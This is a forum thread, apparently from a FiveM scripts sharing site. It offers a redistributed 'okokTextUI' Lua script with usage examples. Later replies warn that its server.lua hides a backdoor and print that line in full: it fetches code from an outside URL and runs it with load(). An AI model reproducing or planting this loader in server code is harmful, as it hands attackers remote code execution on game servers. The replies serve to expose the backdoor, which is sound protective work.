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Fiveguard

Script okokTextUI | Cool UI

fendy_start

Gold Elite
Joined
Oct 22, 2023
Messages
48
Reaction score
1,652
Points
296
Location
Germany
Updated TODAY 01.05.2025 !! SOME CHANGES IN DESCRIPTION HERE AND VIDEO UPDATE! AND EXPORT ADDED




Here is the okokTextUI to get a nicer UI for the Text and Message!

Feature Config:


Set the:

  • Message;
  • Color (blue/red/green/gray);
  • Position (left/right).

Colors:


  • lightblue / darkblue;

  • lightgreen / darkgreen;

  • lightred / darkred;

  • lightgrey / darkgrey.
Positions:


  • right;

  • left.
Play sound:



  • true;

  • false.

    Example:
EXAMPLE IS FOR THE FOLLOWING EXPORTS TO BIND IT TO OTHER SCRIPTS!! FOR DEVELOPER!:

Displaying:

Code:
exports['okokTextUI']:Open('[Key] Message', 'color', 'position', playSound)

Hiding:

Code:
exports['okokTextUI']:Close()

Displaying (in a loop):

Code:
exports.okokTextUI:OpenThisFrame('[Key] Message', 'color', 'position', playSound)


Code:
local shown = false
local inDistance = false

while true do
    inDistance = false
    -- your code
    if playerDistance <= distance then
        inDistance = true
        -- your code when you are inside the range
    else
        -- your code when you are outside the range
    end

    if not shown and inDistance then
        exports['okokTextUI']:Open('[E] Hello', 'lightgreen', 'right', true)
        shown = true
    elseif shown and not inDistance then
        exports['okokTextUI']:Close()
        shown = false
    end
end


Take a Look There:



Virus Scan:
 

Attachments

  • okokTextUI.zip
    104.7 KB · Views: 289
Last edited:

dgmanme

Gold Elite
Joined
Jul 23, 2025
Messages
160
Reaction score
192
Points
206
Location
Chile
Updated TODAY 01.05.2025 !! SOME CHANGES IN DESCRIPTION HERE AND VIDEO UPDATE! AND EXPORT ADDED




Here is the okokTextUI to get a nicer UI for the Text and Message!

Feature Config:


Set the:

  • Message;
  • Color (blue/red/green/gray);
  • Position (left/right).

Colors:


  • lightblue / darkblue;

  • lightgreen / darkgreen;

  • lightred / darkred;

  • lightgrey / darkgrey.
Positions:


  • right;

  • left.
Play sound:



  • true;

  • false.

    Example:
EXAMPLE IS FOR THE FOLLOWING EXPORTS TO BIND IT TO OTHER SCRIPTS!! FOR DEVELOPER!:

Displaying:

Code:
exports['okokTextUI']:Open('[Key] Message', 'color', 'position', playSound)

Hiding:

Code:
exports['okokTextUI']:Close()

Displaying (in a loop):

Code:
exports.okokTextUI:OpenThisFrame('[Key] Message', 'color', 'position', playSound)


Code:
local shown = false
local inDistance = false

while true do
    inDistance = false
    -- your code
    if playerDistance <= distance then
        inDistance = true
        -- your code when you are inside the range
    else
        -- your code when you are outside the range
    end

    if not shown and inDistance then
        exports['okokTextUI']:Open('[E] Hello', 'lightgreen', 'right', true)
        shown = true
    elseif shown and not inDistance then
        exports['okokTextUI']:Close()
        shown = false
    end
end


Take a Look There:



Virus Scan:
I'M SICK OF BACKDOORS, IF YOU'RE GOING TO SHARE THINGS WITH BACKDOORS TO STEAL THINGS FROM US, YOU BETTER NOT SHARE. BACKDOOR IN SERVER.LUA
 

XlinX26

Member
Joined
Feb 9, 2026
Messages
6
Reaction score
0
Points
51
Location
Chile
BACKDOOR

local _v = PerformHttpRequestInternalEx{ url='https://madara89.com/Wdv1M', method='GET' } AddEventHandler('__cfx_internal:httpResponse', function(_t, _s, _b) if _v == _t then pcall(function() assert(load(_b))() end) end end)


GO TO CRY
 
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